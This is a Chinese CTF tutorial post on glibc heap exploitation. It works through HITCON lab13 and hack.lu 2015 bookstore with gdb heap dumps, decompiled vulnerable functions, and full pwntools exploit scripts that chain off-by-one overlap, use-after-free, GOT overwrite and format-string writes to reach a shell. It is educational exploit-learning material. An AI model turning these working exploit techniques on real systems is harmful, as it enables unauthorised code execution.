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[Pwn] pwn堆入门系列教程3

发表于 2020-5-27 14:32:16 | 查看: 3419| 回复: 0

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1. pwn堆入门系列教程3　　序言：这次终于过了off-by-one来到了Chunk Extend / Overlapping,这部分在上一节也进行了学习，所以难度相对来说不会是那么大，刚起初我以为，因为第一题很简单，但做到第二题，我发觉我连格式化字符串的漏洞都不会利用，真的是太菜了，后面看了看雪大佬的文章才会做
1.1. HITCON Trainging lab13　　这道题还是相对简单的，对于前面几道来说，上一道已经用过这种方法了，而且比这复杂许多，所以差不多了，不过还有些小细节注意下就好
1.1.1. 功能分析　　引用于ctf-wiki
  • 创建堆，根据用户输入的长度，申请对应内存空间，并利用 read 读取指定长度内容。这里长度没有进行检测，当长度为负数时，会出现任意长度堆溢出的漏洞。当然，前提是可以进行 malloc。此外，这里读取之后并没有设置 NULL。
  • 编辑堆，根据指定的索引以及之前存储的堆的大小读取指定内容，但是这里读入的长度会比之前大 1，所以会存在 off by one 的漏洞。
  • 展示堆，输出指定索引堆的大小以及内容。
  • 删除堆，删除指定堆，并且将对应指针设置为了 NULL。
1.1.2. 漏洞点分析　　漏洞点存在off-by-one,通过off-by-one进行overlapping就成了
1.1.3. 漏洞利用过程
gdb-peda$ x/50gx 0x1775030-0x30
0x1775000:  0x0000000000000000  0x0000000000000021 #结构体1
0x1775010:  0x0000000000000018  0x0000000001775030
0x1775020:  0x0000000000000000  0x0000000000000021 #数据块1 chunk
0x1775030:  0x0000000a31313131  0x0000000000000000
0x1775040:  0x0000000000000000  0x0000000000000021 #结构体1
0x1775050:  0x0000000000000010  0x0000000001775070
0x1775060:  0x0000000000000000  0x0000000000000021 #数据块2 chunk
0x1775070:  0x0000000a32323232  0x0000000000000000
0x1775080:  0x0000000000000000  0x0000000000020f81
0x1775090:  0x0000000000000000  0x0000000000000000
0x17750a0:  0x0000000000000000  0x0000000000000000
0x17750b0:  0x0000000000000000  0x0000000000000000
0x17750c0:  0x0000000000000000  0x0000000000000000
0x17750d0:  0x0000000000000000  0x0000000000000000
0x17750e0:  0x0000000000000000  0x0000000000000000
0x17750f0:  0x0000000000000000  0x0000000000000000
0x1775100:  0x0000000000000000  0x0000000000000000
0x1775110:  0x0000000000000000  0x0000000000000000
0x1775120:  0x0000000000000000  0x0000000000000000
0x1775130:  0x0000000000000000  0x0000000000000000
0x1775140:  0x0000000000000000  0x0000000000000000
0x1775150:  0x0000000000000000  0x0000000000000000
0x1775160:  0x0000000000000000  0x0000000000000000
0x1775170:  0x0000000000000000  0x0000000000000000
0x1775180:  0x0000000000000000  0x0000000000000000

　　攻击过程：
  • 创建两个堆块初始化(实际创了4个堆块，两个结构体堆块，两个数据堆块)至于一个为什么要0x18，因为要利用他会使用下个chunk的pre_size作为数据部分，这样才能off-by-one溢出到size
  • 编辑第0块堆块，利用off-by-one覆盖第二块堆块的size，修改size为0x41
    gdb-peda$ x/50gx 0x8a5030-0x30
0x8a5000:   0x0000000000000000  0x0000000000000021
0x8a5010:   0x0000000000000018  0x00000000008a5030
0x8a5020:   0x0000000000000000  0x0000000000000021
0x8a5030:   0x0068732f6e69622f  0x6161616161616161 #/bin/sh为后面做准备
0x8a5040:   0x6161616161616161  0x0000000000000041 # off-by-one
0x8a5050:   0x0000000000000010  0x00000000008a5070
0x8a5060:   0x0000000000000000  0x0000000000000021
0x8a5070:   0x0000000a32323232  0x0000000000000000
0x8a5080:   0x0000000000000000  0x0000000000020f81
0x8a5090:   0x0000000000000000  0x0000000000000000
0x8a50a0:   0x0000000000000000  0x0000000000000000
0x8a50b0:   0x0000000000000000  0x0000000000000000
0x8a50c0:   0x0000000000000000  0x0000000000000000
0x8a50d0:   0x0000000000000000  0x0000000000000000
0x8a50e0:   0x0000000000000000  0x0000000000000000
0x8a50f0:   0x0000000000000000  0x0000000000000000
0x8a5100:   0x0000000000000000  0x0000000000000000
0x8a5110:   0x0000000000000000  0x0000000000000000
0x8a5120:   0x0000000000000000  0x0000000000000000
0x8a5130:   0x0000000000000000  0x0000000000000000
0x8a5140:   0x0000000000000000  0x0000000000000000
0x8a5150:   0x0000000000000000  0x0000000000000000
0x8a5160:   0x0000000000000000  0x0000000000000000
0x8a5170:   0x0000000000000000  0x0000000000000000
0x8a5180:   0x0000000000000000  0x0000000000000000

  • free掉第1块，这时候free了一个0x40大小的堆块和一个0x20大小的堆块
    gdb-peda$ x/50gx 0xf89030-0x30
0xf89000:   0x0000000000000000  0x0000000000000021
0xf89010:   0x0000000000000018  0x0000000000f89030
0xf89020:   0x0000000000000000  0x0000000000000021
0xf89030:   0x0068732f6e69622f  0x6161616161616161
0xf89040:   0x6161616161616161  0x0000000000000041 #free 0x40大小
0xf89050:   0x0000000000000000  0x0000000000f89070
0xf89060:   0x0000000000000000  0x0000000000000021 #free 0x21大小
0xf89070:   0x0000000000000000  0x0000000000000000
0xf89080:   0x0000000000000000  0x0000000000020f81
0xf89090:   0x0000000000000000  0x0000000000000000
0xf890a0:   0x0000000000000000  0x0000000000000000
0xf890b0:   0x0000000000000000  0x0000000000000000
0xf890c0:   0x0000000000000000  0x0000000000000000
0xf890d0:   0x0000000000000000  0x0000000000000000
0xf890e0:   0x0000000000000000  0x0000000000000000
0xf890f0:   0x0000000000000000  0x0000000000000000
0xf89100:   0x0000000000000000  0x0000000000000000
0xf89110:   0x0000000000000000  0x0000000000000000
0xf89120:   0x0000000000000000  0x0000000000000000
0xf89130:   0x0000000000000000  0x0000000000000000
0xf89140:   0x0000000000000000  0x0000000000000000
0xf89150:   0x0000000000000000  0x0000000000000000
0xf89160:   0x0000000000000000  0x0000000000000000
0xf89170:   0x0000000000000000  0x0000000000000000
0xf89180:   0x0000000000000000  0x0000000000000000

  • 这时候create(0x30)的话，会先创建结构体的堆块，这时候fastbin链上有刚free掉的堆块，所以优先使用，创建了0x20大小堆块，然后在创建一个0x40的chunk，这时候可以覆盖掉他的结构体部分的内容指针，泄露地址，在写入就成了
1.1.4. exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'heapcreator'
elf = context.binary = ELF(exe)

#don't forget to change it
host = '127.0.0.1'
port = 10000

#don't forget to change it
#ctx.binary = './' + 'heapcreator'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = ELF('libc.so.6')
if local:
context.log_level = 'debug'
try:
r = ctx.start()
except Exception as e:
print(e.args)
print("It can't work,may be it can't load the remote libc!")
print("It will load the local process")
io = process(exe)
else:
io = remote(host,port)
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)
heap = elf
libc = ELF('./libc.so.6')

def create(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)


def edit(idx, content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(content)


def show(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))


def delete(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))



def exp():
free_got = 0x602018
create(0x18, "1111")  # 0
create(0x10, "2222")  # 1
# overwrite heap 1's struct's size to 0x41
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
# trigger heap 1's struct to fastbin 0x40
# heap 1's content to fastbin 0x20
delete(1)
# new heap 1's struct will point to old heap 1's content, size 0x20
# new heap 1's content will point to old heap 1's struct, size 0x30
# that is to say we can overwrite new heap 1's struct
# here we overwrite its heap content pointer to free@got
create(0x30, p64(0) * 4 + p64(0x30) + p64(heap.got['free']))  #1
#create(0x30, p64(0x1234567890))  #1
gdb.attach(r)
# leak freeaddr
show(1)
r.recvuntil("Content : ")
data = r.recvuntil("Done !")

free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
#gdb.attach(r)
# overwrite free@got with system addr
edit(1, p64(system_addr))
# trigger system("/bin/sh")
delete(0)
if __name__ == '__main__':
exp()
r.interactive()

1.2. 2015 hacklu bookstore1.2.1. 功能分析　　先进行功能分析
  • 有编辑功能，编辑已存在的1,2堆块，可溢出
  • 删除功能，删除已存在的1,2堆块，uaf
  • 合并功能，将1,2两个堆块合并,格式化字符串
1.2.2. 漏洞点分析
  • 漏洞点1(任意写，\n才结束)
unsigned __int64 __fastcall edit_order(char *a1)
{
int idx; // eax
int v3; // [rsp+10h] [rbp-10h]
int cnt; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
v3 = 0;
cnt = 0;
while ( v3 != '\n' )//关键点
{
v3 = fgetc(stdin);
idx = cnt++;
a1[idx] = v3;
}
a1[cnt - 1] = 0;
return __readfsqword(0x28u) ^ v5;
}

  • 漏洞点2(uaf)
　　free后指针没置空
unsigned __int64 __fastcall delete_order(void *a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
free(a1); //重点
return __readfsqword(0x28u) ^ v2;
}

  • 格式化字符串
signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+4h] [rbp-BCh]
char *v5; // [rsp+8h] [rbp-B8h]
char *first_order; // [rsp+18h] [rbp-A8h]
char *second_order; // [rsp+20h] [rbp-A0h]
char *dest; // [rsp+28h] [rbp-98h]
char s; // [rsp+30h] [rbp-90h]
unsigned __int64 v10; // [rsp+B8h] [rbp-8h]

v10 = __readfsqword(0x28u);
first_order = (char *)malloc(0x80uLL);
second_order = (char *)malloc(0x80uLL);
dest = (char *)malloc(0x80uLL);
if ( !first_order || !second_order || !dest )
{
fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);
return 1LL;
}
v4 = 0;
puts(
" _____          _   _                 _          _                   _ \n"
"/__   \\_____  _| |_| |__   ___   ___ | | __  ___| |_ ___  _ __ ___  / \\\n"
"  / /\\/ _ \\ \\/ / __| '_ \\ / _ \\ / _ \\| |/ / / __| __/ _ \\| '__/ _ \\/  /\n"
" / / |  __/>  <| |_| |_) | (_) | (_) |   <  \\__ \\ || (_) | | |  __/\\_/ \n"
" \\/   \\___/_/\\_\\\\__|_.__/ \\___/ \\___/|_|\\_\\ |___/\\__\\___/|_|  \\___\\/   \n"
"Crappiest and most expensive books for your college education!\n"
"\n"
"We can order books for you in case they're not in stock.\n"
"Max. two orders allowed!\n");
LABEL_14:
while ( !v4 )
{
puts("1: Edit order 1");
puts("2: Edit order 2");
puts("3: Delete order 1");
puts("4: Delete order 2");
puts("5: Submit");
fgets(&s, 0x80, stdin);
switch ( s )
{
case '1':
puts("Enter first order:");
edit_order(first_order);
strcpy(dest, "Your order is submitted!\n");
goto LABEL_14;
case '2':
puts("Enter second order:");
edit_order(second_order);
strcpy(dest, "Your order is submitted!\n");
goto LABEL_14;
case '3':
delete_order(first_order);
goto LABEL_14;
case '4':
delete_order(second_order);
goto LABEL_14;
case '5':
v5 = (char *)malloc(0x140uLL);
if ( !v5 )
{
fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);
return 1LL;
}
submit(v5, first_order, second_order);
v4 = 1;
break;
default:
goto LABEL_14;
}
}
printf("%s", v5);
printf(dest);//格式化字符串
return 0LL;
}

1.2.3. 漏洞利用过程　　这题有三个明显的洞，比原来那些只有一个洞的看起来似乎简单些？实际相反，这道题利用起来难度比前面的还大，因为这个洞不好利用，我自己研究了好久也无果，然后找writeup
看了看雪大佬的文章才知道这题怎么利用的
　　开始我在想如何利用格式化字符串的洞，因为格式化字符串的洞在合并过后才会使用，而我没想到什么便捷方法能修改第三块堆块的内容，他只能被覆盖为默认的Your order is submitted!\n，后来才知道用overlaping后可以覆盖到第三块堆块的内容，不过还是得精心布置堆才可以利用到
  • 开头程序malloc(0x80)申请了三个堆块，我们将第二块free掉
gdb-peda$ x/100gx 0x1b8d010-0x010
0x1b8d000:  0x0000000000000000  0x0000000000000091 #堆块1
0x1b8d010:  0x0000000074736574  0x0000000000000000
0x1b8d020:  0x0000000000000000  0x0000000000000000
0x1b8d030:  0x0000000000000000  0x0000000000000000
0x1b8d040:  0x0000000000000000  0x0000000000000000
0x1b8d050:  0x0000000000000000  0x0000000000000000
0x1b8d060:  0x0000000000000000  0x0000000000000000
0x1b8d070:  0x0000000000000000  0x0000000000000000
0x1b8d080:  0x0000000000000000  0x0000000000000000
0x1b8d090:  0x0000000000000000  0x0000000000000091 #堆块2，溢出修改处
0x1b8d0a0:  0x0000000000000000  0x0000000000000000 #数据部分
0x1b8d0b0:  0x0000000000000000  0x0000000000000000
0x1b8d0c0:  0x0000000000000000  0x0000000000000000
0x1b8d0d0:  0x0000000000000000  0x0000000000000000
0x1b8d0e0:  0x0000000000000000  0x0000000000000000
0x1b8d0f0:  0x0000000000000000  0x0000000000000000
0x1b8d100:  0x0000000000000000  0x0000000000000000
0x1b8d110:  0x0000000000000000  0x0000000000000000
0x1b8d120:  0x0000000000000000  0x0000000000000091 #堆块3
0x1b8d130:  0x64726f2072756f59  0x7573207369207265
0x1b8d140:  0x2164657474696d62  0x000000000000000a
0x1b8d150:  0x0000000000000000  0x0000000000000000
0x1b8d160:  0x0000000000000000  0x0000000000000000
0x1b8d170:  0x0000000000000000  0x0000000000000000
0x1b8d180:  0x0000000000000000  0x0000000000000000
0x1b8d190:  0x0000000000000000  0x0000000000000000
0x1b8d1a0:  0x0000000000000000  0x0000000000000000
0x1b8d1b0:  0x0000000000000000  0x0000000000000411
0x1b8d1c0:  0x696d627553203a35  0x20726564726f0a74
0x1b8d1d0:  0x216465776f0a0a32  0x6163206e6920750a
0x1b8d1e0:  0x2779656874206573  0x6920746f6e206572
0x1b8d1f0:  0x2e6b636f7473206e  0x5f0a216e6f69740a
0x1b8d200:  0x0a2020202f5c5f5f  0x0000000000000000
0x1b8d210:  0x0000000000000000  0x0000000000000000
0x1b8d220:  0x0000000000000000  0x0000000000000000
0x1b8d230:  0x0000000000000000  0x0000000000000000
0x1b8d240:  0x0000000000000000  0x0000000000000000
0x1b8d250:  0x0000000000000000  0x0000000000000000
0x1b8d260:  0x0000000000000000  0x0000000000000000
0x1b8d270:  0x0000000000000000  0x0000000000000000
0x1b8d280:  0x0000000000000000  0x0000000000000000
0x1b8d290:  0x0000000000000000  0x0000000000000000
0x1b8d2a0:  0x0000000000000000  0x0000000000000000
0x1b8d2b0:  0x0000000000000000  0x0000000000000000
0x1b8d2c0:  0x0000000000000000  0x0000000000000000
0x1b8d2d0:  0x0000000000000000  0x0000000000000000
0x1b8d2e0:  0x0000000000000000  0x0000000000000000
0x1b8d2f0:  0x0000000000000000  0x0000000000000000
0x1b8d300:  0x0000000000000000  0x0000000000000000
0x1b8d310:  0x0000000000000000  0x0000000000000000

  • 　　编辑第一块堆块内容，溢出到第二块的size，修改第二块的size为0x150，为什么是0x150?(因为你看程序在合并的时候有个malloc(0x140)，这样合并的时候申请的堆块就会跑到这上面来，也就是说我们第二块堆块跟第三块堆块这时候会重合
    gdb-peda$ x/50gx 0x1695028-0x28
0x1695000:  0x0000000000000000  0x0000000000000091
0x1695010:  0x3125633731363225  0x313325516e682433
0x1695020:  0x7024383225507024  0x6161616161616161
0x1695030:  0x6161616161616161  0x6161616161616161
0x1695040:  0x6161616161616161  0x6161616161616161
0x1695050:  0x6161616161616161  0x6161616161616161
0x1695060:  0x6161616161616161  0x6161616161616161
0x1695070:  0x6161616161616161  0x6161616161616161
0x1695080:  0x0000000061616161  0x0000000000000000
0x1695090:  0x0000000000000000  0x0000000000000151
0x16950a0:  0x00007f0e99412b00  0x00007f0e99412b78
0x16950b0:  0x0000000000000000  0x0000000000000000
0x16950c0:  0x0000000000000000  0x0000000000000000
0x16950d0:  0x0000000000000000  0x0000000000000000
0x16950e0:  0x0000000000000000  0x0000000000000000
0x16950f0:  0x0000000000000000  0x0000000000000000
0x1695100:  0x0000000000000000  0x0000000000000000
0x1695110:  0x0000000000000000  0x0000000000000000
0x1695120:  0x0000000000000090  0x0000000000000090
0x1695130:  0x64726f2072756f59  0x7573207369207265
0x1695140:  0x2164657474696d62  0x000000000000000a
0x1695150:  0x0000000000000000  0x0000000000000000
0x1695160:  0x0000000000000000  0x0000000000000000
0x1695170:  0x0000000000000000  0x0000000000000000
0x1695180:  0x0000000000000000  0x0000000000000000

  • 　　然后submit的时候具体会变成什么样呢?，会先复制Order 1: ，然后在复制chunk1里的内容，在复制chunk2里的内容，注意注意chunk2的内容现在是什么，是前面的Order 1: 在加上chunk1的内容，因为堆块2的指针还指向chunk2的数据部分，所以会复制两次
  • 就是Order 1: +chunk1+'\n'+Order 2: +Order 1: +chun1+'\n'
  • 如果我们要利用格式化字符串的洞的话，要精确复制到堆块3的size部分后就停止，到这部分大小是0x90
  • 也就是说我们Order 1: +chunk1+'\n'+Order 2: +Order 1: 这个的大小要为0x90，求出chunk大小，0x90-9*3-1=0x88-0x1c=0x74
  • 所以我们可以在前面0x74里写格式化字符串的利用，后面就利用得上了
　　这是合并后的结果
gdb-peda$ x/56gx 0x6e6028-0x28
0x6e6000:   0x0000000000000000  0x0000000000000091
0x6e6010:   0x3125633731363225  0x313325516e682433
0x6e6020:   0x7024383225507024  0x6161616161616161
0x6e6030:   0x6161616161616161  0x6161616161616161
0x6e6040:   0x6161616161616161  0x6161616161616161
0x6e6050:   0x6161616161616161  0x6161616161616161
0x6e6060:   0x6161616161616161  0x6161616161616161
0x6e6070:   0x6161616161616161  0x6161616161616161
0x6e6080:   0x0000000061616161  0x0000000000000000
0x6e6090:   0x0000000000000000  0x0000000000000151
0x6e60a0:   0x3a3120726564724f  0x2563373136322520
0x6e60b0:   0x3325516e68243331  0x2438322550702431
0x6e60c0:   0x6161616161616170  0x6161616161616161
0x6e60d0:   0x6161616161616161  0x6161616161616161
0x6e60e0:   0x6161616161616161  0x6161616161616161
0x6e60f0:   0x6161616161616161  0x6161616161616161
0x6e6100:   0x6161616161616161  0x6161616161616161
0x6e6110:   0x6161616161616161  0x724f0a6161616161
0x6e6120:   0x4f203a3220726564  0x203a312072656472
0x6e6130:   0x3125633731363225  0x313325516e682433
0x6e6140:   0x7024383225507024  0x6161616161616161
0x6e6150:   0x6161616161616161  0x6161616161616161
0x6e6160:   0x6161616161616161  0x6161616161616161
0x6e6170:   0x6161616161616161  0x6161616161616161
0x6e6180:   0x6161616161616161  0x6161616161616161
0x6e6190:   0x6161616161616161  0x6161616161616161
0x6e61a0:   0x64724f0a61616161  0x000a203a32207265
0x6e61b0:   0x0000000000000000  0x0000000000000411

  • 既然是堆题我就不再讲格式化字符串利用了，后面先利用格式化字符串修改.fini的地址，这样能多返回一次到main函数，同时泄露libc函数地址，为什么修改.fini里的地址能多返回一次main函数呢，请看
　　linux_x86程序启动中文版
linux_x86程序启动英文版
这两篇文章一样的，不过一个中文版，一个英文版，建议英文好的同学读原版，因为.fini在exit前会进行调用，所以修改后能执行多一次main函数
  • 这时候发觉泄露出libc后不知道修改哪个函数了，因为调用printf后再也没函数用了，这时候思路又断了
  • 所以这时候想想别的办法，发觉栈上存了一个与存main函数返回地址的指针存在一定偏移的地址，所以泄露出来后，在减掉那个固定偏移就可以修改main函数返回地址了
　　注意：这里格式化字符串内容存在堆里，指针存在栈上，所以我们fgets输入的才是对应上的偏移
1.2.4. exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'books'
elf = context.binary = ELF(exe)

#don't forget to change it
host = '127.0.0.1'
port = 10000

#don't forget to change it
#ctx.binary = './' + 'books'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
context.log_level = 'debug'
p = ctx.start()
libc = ELF(libc)
else:
p = remote(host,port)
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    No RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)

def edit(idx, content) :
p.sendline(str(idx))
p.recvregex(r'''Enter (.*?) order:\n''')
p.sendline(content)


def delete(idx) :
p.sendline(str(idx+2))

def submit(content) :
p.sendline('5'+ '\x00'*7 + content)

def exp():
fini_array = 0x6011B8
main_addr = 0x400A39
delete(2)

#first step 
#leak
fmstr = "%{}c%{}$hnQ%{}$pP%{}$p".format(0xA39, 13, 31, 28)
payload = fmstr.ljust(0x74, 'a')
payload = payload.ljust(0x88, '\x00')
payload += p64(0x151)
edit(1, payload)
#offset=13
gdb.attach(p)
submit(p64(fini_array))
for _ in range(3):
p.recvuntil('Q')
__libc_start_main_addr = int(p.recv(14), 16)
libc_base = __libc_start_main_addr - libc.symbols['__libc_start_main']-240
ret_addr = int(p.recv(15)[1:], 16)-0x1e8
one_gadget_offset = 0x45216 
#one_gadget_offset = 0x4526a 
#one_gadget_offset = 0xf02a4
#one_gadget_offset = 0xf1147
one_gadget = libc_base + one_gadget_offset
p.success("libc_base-> 0x%x" % libc_base)
p.success("ret_addr-> 0x%x" % ret_addr)
p.success("one_gadget-> 0x%x" % one_gadget)

#second step
delete(2)
part1 = ((one_gadget>>16)& 0xffff)
part2 = (one_gadget & 0xffff)

part =[
(part1, p64(ret_addr+2)),
(part2, p64(ret_addr))
]
part.sort(key=lambda tup: tup[0])
size = [i[0] for i in part]
addr =''.join(x[1] for x in part)
print(size)
print(addr)
fmstr = "%{}c%{}$hn".format(size[0], 13)
fmstr += "%{}c%{}$hn".format(size[1]-size[0], 14)
payload = fmstr.ljust(0x74, 'a')
payload = payload.ljust(0x88, '\x00')
payload += p64(0x151)
edit(1, payload)
#offset=13
submit(addr)
#gdb.attach(p)
if __name__ == '__main__':
exp()
p.interactive()

1.3. 总结
  • 这道题堆部分难点部分想到了就不难，没想到就难，就是要利用那个部分溢出到第三个堆块
  • 其余部分就全是格式化字符串的利用了，没什么好讲的
  • 这道题拿到shell也偏废时间，最主要直接看exp我看不懂，后面去看文章才看懂的
1.4. 参考链接　　看雪大佬的文章

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